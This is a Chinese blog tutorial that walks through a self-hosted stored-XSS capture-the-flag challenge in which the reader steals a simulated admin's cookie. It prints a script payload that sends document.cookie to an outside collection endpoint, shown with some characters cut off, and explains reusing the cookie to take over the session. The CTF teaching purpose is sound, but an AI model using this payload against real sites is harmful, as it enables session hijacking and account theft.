iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 4
0
Security

資訊安全的美味雜炊系列 第 4

[Day4] - XSS(Cross site scripting) 簡單範例

  • 分享至 

  • xImage
  •  

Day4 - XSS(Cross site scripting) 簡單範例

前言

  • 看到以往新手向的XSS,都只講到alert(),往往打完XSS-game就沒有在往下深入了,似乎怎麼對於怎麼實戰都比較陌生,都只有說到可以偷cookie甚麼的,但自己還是覺得很模糊

  • 今天就用簡單的CTF範例來作為示範駭客怎麼偷取cookie

Cookie是甚麼

  • 為了能保持server端與client端保持長久的互動與活動狀態,server會給瀏覽器一組或多組的key/value,儲存在瀏覽器當中

    • 一般來說cookie會用來紀錄用戶的資訊,常見狀況是用在購物網站的購物車、會員登入或瀏覽紀錄
    • 也就是為甚麼在瀏覽器登入fb, twitter...過後,下次打開不需再次登入,因為cookie已經記住你的帳戶資訊
  • 換句話說,當駭客想要竊取帳戶資訊,可以透過竊取別人瀏覽器留下的cookie,來偽造登入

於是,就做了一個簡單的Stored-Xss的CTF

架設環境

  • 利用docker-compose, 將東西container化也方便跨平台架設
    • php
    • selenium(模擬admin瀏覽管理介面與留言)
    • mysql(儲存留言)

想了解docker-compose怎麼用的可以參考此篇鐵人賽文章
https://ithelp.ithome.com.tw/articles/10194183

題目說明

  • 這是一個留言板,管理員會一直來看訊息

  • 留言之後,能看到自己的cookie, content, 跟admin是否有讀取訊息

工具 - pipedream

  • 為了要將cookie彈回server,可以使用線上工具,就不需要自架server或租VPS
  • 新增一組新的workflow,接收HTTP requests
    • 示意圖
  • 連結

工具chrome插件 - EditThisCookie

解法

  • 目的: 竊取admin的cookie

  • 思路:

    1. 檢查輸入框是否能XSS
    2. 既然強調管理員會回來看訊息,那很有可能管理員(admin)在瀏覽頁面時,管理員(admin)的cookie存在瀏覽器當中
    3. 那就試試看將cookie彈出來
  • payload,利用Image,把cookie導向自己的server或線上工具

    script>
    ar i=new Image;
    .src="<url>/?"+document.cookie;
    /script>
    ``
    
    
  • 發送payload,就能收到admin的cookie,這就是我要的

  • 接下來只需把cookie換成admin的cookie,讓我們成為管理員

  • 恩,就拿到flag囉

題目連結,歡迎服用

https://github.com/william31212/NISRA2020_enlightened/tree/master/xss_ctf


上一篇
[Day3] - XSS(Cross site scripting) 介紹
下一篇
[Day5] - SQL injection (1)
系列文
資訊安全的美味雜炊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
Oo_花之舞__oO
iT邦新手 1 級 ‧ 2023-01-26 03:52:16

超級好文,大推,超越教科書等級!絕對的實戰
非常有幫助的神文

我要留言

立即登入留言